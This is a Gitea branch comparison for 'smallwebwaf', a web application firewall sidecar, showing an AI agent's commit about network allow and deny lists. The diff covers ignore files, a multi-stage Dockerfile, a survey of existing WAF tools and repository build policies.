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base: sneak/smallwebwaf:issue-236-drupal-ordinary-requests
sneak/smallwebwaf:main sneak/smallwebwaf:issue-235-wordpress-ordinary-requests sneak/smallwebwaf:issue-236-drupal-ordinary-requests sneak/smallwebwaf:issue-220-apps-by-hostname sneak/smallwebwaf:issue-211-viper-config sneak/smallwebwaf:next sneak/smallwebwaf:issue-216-oci-labels sneak/smallwebwaf:readme-rewrite-155
sneak/smallwebwaf:v1.0.0-rc2 sneak/smallwebwaf:v1.0.0-rc1
..
compare: sneak/smallwebwaf:e001f1c830e154af77f8c0224ea42b8244225855
sneak/smallwebwaf:issue-235-wordpress-ordinary-requests sneak/smallwebwaf:issue-236-drupal-ordinary-requests sneak/smallwebwaf:issue-220-apps-by-hostname sneak/smallwebwaf:issue-211-viper-config sneak/smallwebwaf:next sneak/smallwebwaf:issue-216-oci-labels sneak/smallwebwaf:main sneak/smallwebwaf:readme-rewrite-155
sneak/smallwebwaf:v1.0.0-rc2 sneak/smallwebwaf:v1.0.0-rc1
1 Commits
issue-236-drupal-ordinary-requests .. e001f1c830
Author SHA1 Message Date
clawbot e001f1c830 Network lists: always allowed, exempt from rate limits, always refused (closes #19)
check / check (push) Successful in 4m27s
Details 
Adds SWWAF_ALLOW_NETS, SWWAF_RATE_LIMIT_EXEMPT_NETS and SWWAF_DENY_NETS,
read like SWWAF_TRUSTED_PROXIES and empty by default, and checked against
the client's own address before its country is looked up. A client in
SWWAF_ALLOW_NETS skips the country lists and the rate limits and is not
looked up. One in SWWAF_DENY_NETS is refused with 403, logged as denied
and not counted. One in SWWAF_RATE_LIMIT_EXEMPT_NETS is neither counted
nor refused by the rate limits. SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES now
refuses a private, loopback or link-local client unless SWWAF_ALLOW_NETS
lists it.

Judgement call: an address in both SWWAF_ALLOW_NETS and SWWAF_DENY_NETS is let through.
Judgement call: the size and time limits still apply to SWWAF_ALLOW_NETS.

Model: opus-5-5
 2026-10-06 00:06:10 +00:00
172 changed files with 5900 additions and 53730 deletions
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.dockerignore
+6 -20
View File
@@ -13,21 +13,9 @@
# `/myapp`, never `**/myapp`, which also matches `cmd/myapp/` and
# deletes the package directory from the context.
# .git is sent without its config. Without a VERSION build argument the
# stage that compiles runs `git describe --tags --always` on .git, which
# does not need .git/config; that file can hold a credential, such as a
# password in a remote URL or the token the CI checkout step stores there.
# Each submodule keeps a config with the same exposure in its git directory
# under .git/modules/, nested again for a submodule's own submodules, or in
# its own .git directory when it keeps one.
# KNOWN GAP: a submodule whose name has a `config` segment (`config`,
# `deploy/config`, `config/lib`) loses its whole git directory, because
# `**/.git/modules/**/config` also matches that segment's directory
# under .git/modules/. Go's version stamping then fails the build;
# nothing leaks. Name such a submodule without that segment:
# `git submodule add --name`.
**/.git/config
**/.git/modules/**/config
# Excluding .git means `git describe` cannot run in any build stage and
# fails quietly there; pass the version in with --build-arg VERSION.
.git
# Agent scratch: one full checkout of the repo per in-flight agent.
# Anchored because it occurs once where agents run at the repo root.
@@ -51,13 +39,14 @@
**/[iI][dD]_[rR][sS][aA]
**/[iI][dD]_[dD][sS][aA]
**/[iI][dD]_[eE][cC][dD][sS][aA]
**/[iI][dD]_[eE][cC][dD][sS][aA]_[sS][kK]
**/[iI][dD]_[eE][dD]25519
**/[iI][dD]_[eE][dD]25519_[sS][kK]
# Dependencies: restored inside the image, never copied in.
**/node_modules
# The binary `make build` writes on the host; the image builds its own.
/bin
# OS metadata.
**/.DS_Store
**/Thumbs.db
@@ -70,6 +59,3 @@
**/.idea
**/.vscode
**/*.sublime-*
# The binary `make build` writes on the host; the image builds its own.
/bin
.gitignore
+5 -25
View File
@@ -20,31 +20,11 @@ Thumbs.db
# Node
node_modules/
# Secrets. Unanchored like every entry above, so each matches at every
# depth. Matching is case-sensitive on Linux, so names use character
# ranges rather than a lowercase form that misses `Server.Key`.
# Environment files. `*.env` covers bare `.env` and the `prod.env`
# convention. Only the templates `example.env` and `sample.env` are
# re-included below. A repository that commits any other template adds
# its own negation after these lines, for example `!.env.example`.
*.[eE][nN][vV]
.[eE][nN][vV].*
.[eE][nN][vV][rR][cC]
!example.env
!sample.env
# Private keys and the bundles carrying them.
*.[pP][eE][mM]
*.[kK][eE][yY]
*.[pP]12
*.[pP][fF][xX]
[iI][dD]_[rR][sS][aA]
[iI][dD]_[dD][sS][aA]
[iI][dD]_[eE][cC][dD][sS][aA]
[iI][dD]_[eE][cC][dD][sS][aA]_[sS][kK]
[iI][dD]_[eE][dD]25519
[iI][dD]_[eE][dD]25519_[sS][kK]
# Environment / secrets
.env
.env.*
*.pem
*.key
# Go: the binary `make build` writes, test binaries, profiles and logs
/bin/
.golangci.yml
-5
View File
@@ -17,7 +17,6 @@ linters:
disable:
# Genuinely incompatible with project patterns
- exhaustruct # Requires all struct fields
- exhaustruct_v5 # Requires all struct fields (successor to exhaustruct)
- godot # Requires comments to end with periods
- wrapcheck # Too verbose for internal packages
- varnamelen # Short names like db, id are idiomatic Go
@@ -61,10 +60,6 @@ linters:
desc: >-
Test-support code belongs in test files and in packages whose
directory name ends in test, not in the shipped binary.
- pkg: sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest
desc: >-
Test-support code belongs in test files and in packages whose
directory name ends in test, not in the shipped binary.
# Only decisions already recorded in the Go package defaults are
# listed here. Every entry matches the module path exactly.
gomodguard_v2:
Dockerfile
+41 -85
View File
@@ -2,8 +2,8 @@
# lint` or `script/lint`, which are themselves a docker build and would
# recurse into a daemon that does not exist in a build step.
#
# golangci/golangci-lint v2.14.0 (built with go1.27.0), 2026-09-24
FROM golangci/golangci-lint@sha256:ad862ba6b3798cbe0fd9fd7408d498fd74fbd2623a92406b2fd3898faf0bf98f AS lint
# golangci/golangci-lint v2.12.2 (built with go1.26.2), 2026-05-06
FROM golangci/golangci-lint@sha256:5cceeef04e53efe1470638d4b4b4f5ceefd574955ab3941b2d9a68a8c9ad5240 AS lint
WORKDIR /src
@@ -29,39 +29,14 @@ RUN go mod download
COPY . .
# go.mod and go.sum must be as `go mod tidy` writes them, which is what
# `make tidy` does. Checked before the tests, which a missing go.sum line
# fails with a message that does not name `make tidy`.
RUN go mod tidy -diff || \
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
# after this step, and writing it into the image takes seconds. The tests
# are built with the no_fs_access tag, as the binary is in the build stage.
# after this step, and writing it into the image takes seconds.
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
go test -count=1 -timeout 90s -race -cover ./... || \
{ echo "--- Rerunning with -v for details ---"; \
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
go test -count=1 -timeout 90s -race -v ./...; exit 1; }
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
# writes pass the test phase's check. Nothing else depends on it, so only
# script/tidy, which names the stage after it, builds it.
#
# golang 1.27.1-trixie, 2026-09-19
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS tidy
WORKDIR /src
COPY . .
RUN go mod tidy
# go.mod and go.sum alone, which script/tidy writes into the working tree.
FROM scratch AS tidy-files
COPY --from=tidy /src/go.mod /src/go.sum /
# Build stage. Nothing is wanted from the lint and test phases; the copies
# Build stage. Nothing is wanted from the two phases above; the copies
# are what make BuildKit build them first, so the image, which needs this
# stage, cannot be produced unless lint and test passed.
#
@@ -71,10 +46,6 @@ FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275
COPY --from=lint /src/go.sum /dev/null
COPY --from=test /src/go.sum /dev/null
# This image has git. A tar-stream context keeps the sender's file
# owners, which git refuses.
RUN git config --system --add safe.directory /src
WORKDIR /src
COPY go.mod go.sum ./
@@ -82,24 +53,12 @@ RUN go mod download
COPY . .
# The VERSION build arg when one is given, otherwise
# `git describe --tags --always` on the .git in the build context. With
# .git present, a version that is still empty, dev or unknown fails the
# build: git is missing or could not read the checkout. The no_fs_access
# tag keeps Coraza from writing the files of a multipart body to the
# system's temporary directory, since sww writes only to its state
# directory.
ARG VERSION
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
if [ -e .git ]; then \
case "$VERSION" in ""|dev|unknown) \
echo "version is '$VERSION' although .git is present" >&2; \
exit 1 ;; \
esac; \
fi; \
CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \
-o /usr/local/bin/sww ./cmd/sww
# The version is computed on the host and passed in, because
# .dockerignore excludes .git.
ARG VERSION=dev
RUN CGO_ENABLED=0 go build -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
# runsvinit, the image's entrypoint, built at the last commit of its
# archived repository. It has no go.mod, and `go build` of its directory
@@ -117,9 +76,8 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
&& CGO_ENABLED=0 go build -trimpath -ldflags="-s -w" \
-o /usr/local/bin/runsvinit .
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
# SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it.
# It is the last stage, so a plain `docker build .` builds it.
# The image an app's Dockerfile builds FROM, described under "Deployment"
# in SPEC.md. It is the last stage, so a plain `docker build .` builds it.
#
# ubuntu 26.04, 2026-09-27
FROM ubuntu@sha256:f144425ff09be612d6d9ad965196e9cdc23dae1f42110a8a11a3e9a8198759f7
@@ -133,22 +91,29 @@ RUN mkdir /etc/sysusers.d \
&& echo 'u _runit-log - "runit svlogd user" /nonexistent /sbin/nologin' \
> /etc/sysusers.d/runit.conf
# ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches
# them over plain HTTP and checks each one against the archive's signed
# package lists, so no CA certificates are needed.
#
# nix-bin depends on xz-utils, whose install links man pages with
# update-alternatives. The image's dpkg config drops man pages, so each
# link warns. z-man, read after /etc/dpkg/dpkg.cfg.d/excludes, re-includes
# the man1 pages for this install alone; the same step deletes them again,
# so no man page or package is added.
RUN echo 'path-include=/usr/share/man/man1/*' > /etc/dpkg/dpkg.cfg.d/z-man \
&& apt-get update \
# ca-certificates, nix-bin and runit, from Ubuntu's archive as it was at
# the snapshot moment, which is never earlier than the Ubuntu image above.
# apt checks every package against the snapshot's InRelease files, and
# this step checks those against the hashes named here, which are those
# of the amd64 archive: other architectures use Ubuntu's ports archive.
# apt also fetches the live archive's InRelease files, which change daily
# and which the install does not use. The snapshot service is HTTPS only
# and this image has no CA certificates yet, so this step uses the Go
# image's.
RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,target=/tmp/go-image-ca.crt \
apt-get update --snapshot 20261001T000000Z \
-o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
&& printf '%s\n' \
'45f95ce276cdba3e41870516a130e03c58b8b7a79e9546b0efe9e526d255740c snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute_InRelease' \
'802e675dd9de4c7f3916434a95e7c1d8eec0e82886622d7805ab19a2c6fe0365 snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-updates_InRelease' \
'64b3353f0bd4970b4f7271962245bcea9ff24d4cc7bea16b433f8a60e42ca3dd snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-backports_InRelease' \
'1d5041572116a8b23aabf79ac7439ad8af83d57ad3fb0f9aa0d4523ec10c5908 snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-security_InRelease' \
| (cd /var/lib/apt/lists && sha256sum --check --strict) \
&& DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
--snapshot 20261001T000000Z \
-o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
ca-certificates nix-bin runit \
&& rm -rf /var/lib/apt/lists/* /etc/dpkg/dpkg.cfg.d/z-man \
&& find /usr/share/man/man1 ! -type d -delete \
&& find /etc/alternatives -type l -xtype l -delete
&& rm -rf /var/lib/apt/lists/*
# Nix run by root expects a group of build users, which nix-bin does not
# create; with the setting empty, root's builds run without them.
@@ -175,27 +140,18 @@ RUN curl -fsSL -o /tmp/nixexprs.tar.xz \
ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin
COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit
COPY --from=builder /usr/local/bin/sww /usr/local/bin/sww
COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf
# 65532 is above the uids Ubuntu keeps for system users, which end at
# 999; useradd warns about it unless --key raises that end for this call.
RUN groupadd --system --gid 65532 sww \
RUN groupadd --system --gid 65532 smallwebwaf \
&& useradd --system --key SYS_UID_MAX=65532 --uid 65532 \
--gid sww --no-create-home --shell /usr/sbin/nologin \
sww
# The state files' directory, SWW_STATE_DIR by default, where a volume
# is mounted to keep them across deploys. The run script gives it to the
# sww user at each start of discriminator.
RUN mkdir /var/lib/sww
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
# built FROM this image can copy rule files of its own beside it.
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
--gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \
smallwebwaf
# runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv
# looks too.
COPY --chmod=755 share/sww.run /etc/service/sww/run
COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run
EXPOSE 8080
@@ -203,6 +159,6 @@ EXPOSE 8080
# check runs every second from the start until it first passes, for up
# to a minute, and every 30 seconds after that.
HEALTHCHECK --start-period=1m --start-interval=1s \
CMD ["/usr/local/bin/sww", "healthcheck"]
CMD ["/usr/local/bin/smallwebwaf", "healthcheck"]
ENTRYPOINT ["/usr/local/bin/runsvinit"]
EVALUATION.md
+46 -58
View File
@@ -12,8 +12,8 @@ configured only by environment variables, that provides:
- R1: rate limits per minute, per hour and per day
- R2: netblocks that bypass rate limiting
- R3: alerts on attacks through webhook, Slack or ntfy
- R4: alerts on anomalies: requests made or bytes transferred per minute or
hour, for given IPs or netblocks, crossing a threshold
- R4: alerts on anomalies: requests or bytes per minute or hour, for given IPs
or netblocks, crossing a threshold
- R5: temporary blocks for abusers, permanent bans for repeat offenders
- R6: one or more RBLs or IP reputation APIs
- R7: AS number lookup
@@ -24,19 +24,14 @@ configured only by environment variables, that provides:
## Verdict
Nothing existing is suitable. No surveyed tool meets R8, which asks for limits
scaled by AS number or country. None meets R4's alerts on bytes transferred. The
tools that come closest on the rest fail R10: they need several containers, YAML
or a web UI. The recommendation is to build a small single-binary sidecar;
`SPEC.md` in this directory begins that spec.
The sidecar reuses the mature parts of the surveyed field instead of
reimplementing them. It takes these as libraries and data sources:
- Coraza and the OWASP Core Rule Set, for attack detection
- DNSBLs
- AbuseIPDB
- optionally, a CrowdSec decision feed
Nothing existing is suitable. No surveyed tool meets R8 (scaling limits by AS
number or country) or the bytes half of R4 at all, and the tools that come
closest on the rest fail R10: they need several containers, YAML or a web UI.
The recommendation is to build a small single-binary sidecar; `SPEC.md` in this
directory begins that spec. It reuses the mature parts of the surveyed field as
libraries and data sources (Coraza and the OWASP Core Rule Set for attack
detection, DNSBLs, AbuseIPDB, optionally a CrowdSec decision feed) instead of
reimplementing them.
Closest existing options, and why each still falls short:
@@ -50,16 +45,13 @@ Closest existing options, and why each still falls short:
external blacklist URLs, optional CrowdSec), R7 partly (AS number used for
blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule
Set, or Coraza plugin), env-var settings.
- Fails:
- R8: AS number and country can only allow or deny, never scale a limit.
- R4: no alerts on request-count or byte thresholds in the free edition;
reporting is a paid feature.
- R5: no escalation for repeat offenders.
- R10: since 1.6 it is not one plain sidecar. It needs a `bunkerweb`
container, a `bw-scheduler` container and a database, or the
all-in-one image that bundles nginx, the scheduler, the UI and Redis.
- It is designed as the proxy in front of many sites, not as a sidecar for
one app. AGPL-3.0.
- Fails: R8 (AS number and country can only allow or deny, never scale a
limit), R4 (no volume or byte threshold alerts in the free edition;
reporting is a paid feature), R5 escalation, and R10 in spirit: since 1.6
it needs a `bunkerweb` container plus a `bw-scheduler` container and a
database, or the all-in-one image that bundles nginx, scheduler, UI and
Redis in one container. It is designed to be the front door for many
sites, not a per-app sidecar. AGPL-3.0.
- Unverified: whether several rates (minute, hour, day) can be stacked on
the same URL pattern; the documented design is one rate per URL pattern.
- CrowdSec is the strongest detection and ban engine, but it is not a proxy.
@@ -74,20 +66,16 @@ Closest existing options, and why each still falls short:
listed AS numbers is possible, but each is a hand-written YAML scenario,
it reacts after the fact by banning, and it is not an inline limiter that
answers 429.
- Fails:
- R10, because it needs:
- the security engine container with persistent state
- log acquisition from traefik
- a bouncer such as the traefik plugin
- YAML for acquisition, profiles, scenarios and notifications
- R4's alerts on bytes.
- Fails: R10 (needs the security engine container with persistent state, log
acquisition from traefik, a bouncer such as the traefik plugin, and YAML
for acquisition, profiles, scenarios and notifications), bytes half of R4.
- CrowdSec plus traefik's own `rateLimit` middleware is the best combination
with no new code. It gives inline limiting (one window per middleware, keyed
by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and
reputation lookups. It still fails R8, R4's alerts on bytes, and R10 entirely:
the configuration lives in traefik labels and CrowdSec YAML on each host, not
in one sidecar's environment. It meets R1's three windows only by chaining
three middlewares per router.
reputation. It still fails R8, the bytes half of R4, R1's three stacked
windows only by chaining three middlewares per router, and R10 entirely: the
configuration lives in traefik labels and CrowdSec YAML on each host, not in
one sidecar's environment.
## Candidate by candidate
@@ -99,10 +87,10 @@ Closest existing options, and why each still falls short:
cached, streamed decision list (recommended), standalone against the
central API, or AppSec only. Supports captcha remediation.
- Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict).
- Misses: the plugin itself does no rate limiting; R8; R4's alerts on bytes.
- Misses: the plugin itself does no rate limiting; R8; R4 bytes.
- Configuration: traefik static config to load the plugin, dynamic config or
labels for the middleware, CrowdSec YAML for everything else.
- Sidecar fit: no. It runs inside traefik and needs a separate engine
- Sidecar fit: no. It lives inside traefik, plus a separate engine
container.
- Maturity: widely used (about 900 stars, listed in the traefik plugin
catalog, documented by CrowdSec itself), actively maintained. Traefik
@@ -127,7 +115,7 @@ Closest existing options, and why each still falls short:
- What it is: nginx-derived (Tengine) reverse proxy with a proprietary
semantic detection engine and a web console. About 22,000 stars.
- Covers: R9 well, basic per-IP rate limiting with block duration, bot
challenge, authentication in front of the app.
challenge, authentication gate.
- Misses: R8, R7, R4; R1 has one window per rule. Country blocking, alert
messages, syslog forwarding and the better reputation database are paid
(Lite about 10 USD per month, Pro about 100 USD per month); the free
@@ -140,7 +128,7 @@ Closest existing options, and why each still falls short:
- Coraza (`corazawaf/coraza`) and Coraza-based proxies
- What it is: a Go library that implements the ModSecurity rule language and
runs the OWASP Core Rule Set. OWASP project, actively maintained, the
successor to ModSecurity, which is now in maintenance only.
successor path now that ModSecurity is in maintenance only.
- Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy),
`coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and
`coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set,
@@ -154,7 +142,7 @@ Closest existing options, and why each still falls short:
- ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`)
- What it is: official images of Apache or nginx with ModSecurity and the
Core Rule Set, as a reverse proxy configured by env vars (`BACKEND`,
paranoia level, anomaly thresholds, many more). Current images contain
paranoia level, anomaly thresholds, many more). Current images carry
ModSecurity 2.9.x on Apache and Core Rule Set 4.x.
- Covers: R9, and R10 (single container, env vars, one backend).
- Misses: R1 to R8.
@@ -164,16 +152,16 @@ Closest existing options, and why each still falls short:
- Anubis (`TecharoHQ/anubis`), 1.27 current
- What it is: a single-binary reverse proxy that makes browsers solve a
proof-of-work challenge before passing them to `TARGET`. Aimed at
scrapers, which are likely a large share of the unwanted traffic on a
public code forge.
scrapers, which is likely a large share of unwanted traffic on a public
gitea.
- Covers: R10 well (one container, env vars for listener, target,
difficulty, cookies). Policy rules can match on path, user agent, headers,
IP ranges, and with the vendor's hosted data service also AS number and
country, and can weigh a request toward a harder challenge.
- Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env
vars. AS number and country matching depend on the vendor's hosted
service. Breaks non-browser clients unless paths are exempted; for a code
forge, git-over-HTTP and API paths must be allowed through by rule.
service. Breaks non-browser clients unless paths are exempted; for gitea,
git-over-HTTP and API paths must be allowed through by rule.
- Maturity: very active, widely deployed on code forges since 2025.
- Value here: complementary. It can be chained (traefik, then the sidecar,
then Anubis, then the app) if challenge pages are wanted.
@@ -192,13 +180,13 @@ Closest existing options, and why each still falls short:
temporary ban, no escalation, state lost on traefik restart) and R2
(allowlist). Nothing else.
- `juitde/traefik-plugin-fail2ban`, fail2ban connector plugins, GeoBlock
plugins (country allow or deny through an external lookup API): each adds
one small feature, is configured in traefik and keeps its state in memory.
plugins (country allow or deny through an external lookup API): same
shape, each one small feature, configured in traefik, state in memory.
- Sidecar fit: no; they live inside traefik.
- Traefik built-in middlewares
- `rateLimit` (one average-and-burst window per middleware, optional Redis
in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation
lookups or AS number lookups.
or AS number awareness.
- caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x
- What it is: a Caddy module with regex rules and anomaly scoring, per-IP
and per-path rate limiting with one configurable window, IP and DNS
@@ -210,12 +198,12 @@ Closest existing options, and why each still falls short:
- open-appsec (Check Point)
- Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with
a declarative policy file or the vendor's cloud console. Covers R9 only;
rate limiting and richer features are in paid tiers. It attaches to an
existing proxy, so it is not the sidecar R10 asks for.
rate limiting and richer features are in paid tiers. Not a sidecar in the
required sense.
- iocaine
- Serves generated garbage pages to clients the fronting proxy classifies as
scrapers. Not a limiter, WAF or ban tool; out of scope, and only of
passing interest for scraper traffic.
scrapers. Not a limiter, WAF or ban tool; out of scope except as a
curiosity for scraper traffic.
- Pangolin
- A tunnelled access platform that bundles traefik and optionally CrowdSec.
Replaces the ingress rather than adding a sidecar; out of scope.
@@ -226,17 +214,17 @@ Closest existing options, and why each still falls short:
Everyone else offers one window per rule or none.
- R2 bypass netblocks: BunkerWeb, CrowdSec, traefik, fail2ban plugins.
- R3 alerts: CrowdSec (best), BunkerWeb (denied requests only), SafeLine (paid).
- R4 alerts on request counts and bytes: none. CrowdSec can approximate alerts
on request counts with a custom scenario; no surveyed tool alerts on bytes.
- R5 temporary then permanent: CrowdSec only. BunkerWeb's ban is either one
fixed length or permanent, and does not change with a client's history.
- R4 volume and byte anomalies: none. CrowdSec can approximate request-count
anomalies with a custom scenario; nothing handles bytes.
- R5 temporary then permanent: CrowdSec only. BunkerWeb has fixed or permanent,
not both by history.
- R6 reputation: CrowdSec, BunkerWeb, go-away, caddy-waf (static lists).
- R7 AS number lookup: CrowdSec (enrichment), BunkerWeb and caddy-waf (allow or
deny), Anubis (hosted service).
- R8 biased thresholds: none.
- R9 attack detection: Coraza or ModSecurity with the Core Rule Set (open,
standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps Coraza
or ModSecurity).
standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps the
first).
- R10 env-var sidecar: `owasp/modsecurity-crs`, `coraza-crs-docker`, Anubis.
None of these covers anything beyond its one job.
Makefile
+4 -12
View File
@@ -1,12 +1,10 @@
.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker publish \
hooks build run example-app
.PHONY: bootstrap setup test lint fmt fmt-check check docker hooks build run \
example-app
# Makefile targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
# which test checks. build and run are for working on the code by hand;
# example-app checks the image with an app built on it; publish builds
# the image on the Docker host and pushes it to the registry.
# of README.md). build and run are for working on the code by hand;
# example-app checks the image with an app built on it.
bootstrap:
@script/bootstrap
@@ -26,18 +24,12 @@ fmt:
fmt-check:
@script/fmt-check
tidy:
@script/tidy
check:
@script/check
docker:
@script/docker
publish:
@script/publish
hooks:
@script/install-precommit
README.md
+460 -672
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REPO_POLICIES.md
+44 -120
View File
@@ -1,6 +1,6 @@
---
title: Repository Policies
last_modified: 2026-10-04
last_modified: 2026-09-08
---
This document covers repository structure, tooling, and workflow standards. Code
@@ -104,14 +104,10 @@ style conventions are in separate documents:
`lint` phase and a `test` phase, with the final stage depending on both so the
image cannot be built unless they pass. For non-server repos the final stage
brings up a development environment; for server repos it is the runtime image.
The gate phases and the build stage start from their pinned base images and
install what those images lack either inline, as the canonical Go `Dockerfile`
below does for `git`, or by running `script/bootstrap`, as the `prompts`
repo's own `Dockerfile` does for its yarn packages. The development
environment stage installs development prerequisites by running
`script/bootstrap` rather than duplicating its installs inline. A stage that
runs `script/bootstrap` COPYs `script/` and the dependency manifests
(`package.json` + `yarn.lock`, `go.mod` + `go.sum`, etc.) before running it.
Dockerfiles install development prerequisites by running `script/bootstrap`
rather than duplicating installs inline; COPY `script/` and the dependency
manifests (`package.json` + `yarn.lock`, `go.mod` + `go.sum`, etc.) before
running it.
- **Linting and testing run in Docker, as phases of the `Dockerfile`.** There is
no separate lint file. `script/lint` and `script/test` each build one phase
@@ -160,14 +156,11 @@ style conventions are in separate documents:
not evidence that anything ran: a sub-second build reporting success is a
cache hit, not a result. Never invalidate by pruning — `docker builder prune`
and friends destroy a build cache shared with every other build on the host.
When a check is added or changed, prove it works by planting a defect it must
catch and watching the run fail on it, then revert the defect. A green run
alone shows neither that the check ran nor that it covers what it should.
- **The gate phases are separate stages, and the build stage depends on both.**
The lint phase is based on the `golangci/golangci-lint` image (pinned by
hash), so lint failures surface in seconds rather than after a full compile,
and the test phase is based on the Debian Go image. The canonical Go repo
and the test phase is based on the Go image. The canonical Go repo
`Dockerfile`:
```dockerfile
@@ -180,9 +173,8 @@ style conventions are in separate documents:
COPY . .
RUN golangci-lint run --config .golangci.yml ./...
# Test phase. -race needs cgo and so a C compiler, which the Debian Go
# image ships and the alpine one does not.
# golang:1.x, YYYY-MM-DD
# Test phase
# golang:1.x-alpine, YYYY-MM-DD
FROM golang@sha256:... AS test
WORKDIR /src
COPY go.mod go.sum ./
@@ -199,29 +191,15 @@ style conventions are in separate documents:
FROM golang@sha256:... AS builder
COPY --from=lint /src/go.sum /dev/null
COPY --from=test /src/go.sum /dev/null
RUN apk add --no-cache git
# A tar-stream context keeps the sender's file owners, which git refuses.
RUN git config --system --add safe.directory /src
WORKDIR /src
COPY go.mod go.sum ./
RUN go mod download
COPY . .
# The VERSION build arg when one is given, otherwise
# `git describe --tags --always` on the .git in the build context. With
# .git present, a version that is still empty, dev or unknown fails the
# build: git is missing or could not read the checkout.
ARG VERSION
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
if [ -e .git ]; then \
case "$VERSION" in ""|dev|unknown) \
echo "version is '$VERSION' although .git is present" >&2; \
exit 1 ;; \
esac; \
fi; \
CGO_ENABLED=0 go build -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \
-o /app ./cmd/app/
ARG VERSION=dev
RUN CGO_ENABLED=0 go build -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \
-o /app ./cmd/app/
# Runtime stage, and the last one
FROM alpine@sha256:...
@@ -243,41 +221,10 @@ style conventions are in separate documents:
(e.g. a web frontend compiled in a separate stage), the lint phase must
create placeholder files so the embed directives resolve. Example:
`RUN mkdir -p web/dist && touch web/dist/index.html web/dist/style.css`.
- If the project requires CGO or system libraries for linting, install them
in the lint phase. The `golangci/golangci-lint` image is Debian-based and
has no `apk`, so install with `apt-get` under the Debian package name
(`libvips-dev`, where alpine says `vips-dev`), and delete the package
lists in the same `RUN`, so the layer does not keep them:
```dockerfile
RUN apt-get update \
&& apt-get install -y --no-install-recommends libvips-dev \
&& rm -rf /var/lib/apt/lists/*
```
- `.dockerignore` lets `.git` into the build context. It keeps out every git
`config` at any depth (`**/.git/config`, `**/.git/modules/**/config`): the
repository's own, each submodule's under `.git/modules/`, and that of a
submodule keeping its own `.git` directory. `git describe` does not need
them, and each can hold a credential: a password in a remote URL, or the
token the CI checkout step stores there. A submodule whose name has a
`config` segment (`config`, `deploy/config`, `config/lib`) loses its whole
git directory to `**/.git/modules/**/config`, and Go's version stamping
then fails the build: give it a name without that segment
(`git submodule add --name`). The stage that compiles has `git` (the
Debian Go image has it; an alpine one needs `apk add --no-cache git`) and
takes the version from the `VERSION` build argument when one is given,
otherwise from `git describe --tags --always`. That gives the tag on a
tagged commit; on a later commit, the tag, the number of commits since it
and the short commit (`v1.2.3-4-gabc1234`); and the short commit when no
tag is reachable. The stage that compiles also marks its working directory
safe for git (`git config --system --add safe.directory /src`): a context
sent as a tar stream keeps the sender's file owners, and git refuses a
checkout owned by another user, so the version would come out empty.
`ARG VERSION` has no default, and the build fails if the context carries
`.git` and the version still comes out empty, `dev` or `unknown`. A plain
`docker build .` with no build arguments must succeed; a Dockerfile that
refuses an empty build argument drops that refusal and keeps the argument.
- If the project requires CGO or system libraries for linting (e.g.
`vips-dev`), install them in the lint phase with `apk add`.
- `ARG VERSION=dev` is declared in the stage that compiles and supplied by
`script/docker` and `script/cibuild`; no stage may call `git describe`.
- Every repo should have a Gitea Actions workflow (`.gitea/workflows/`) that
runs `script/cibuild` on push, and checks out the repo as its only other step.
@@ -286,12 +233,7 @@ style conventions are in separate documents:
carry the same guarantee, because its gate phases may come from the cache. The
image build is uncached and so runs the gate phases a second time. That is the
price of the rule above, and it is worth paying: the image that ships is built
from a run of its own gates rather than from a cache entry. A separate
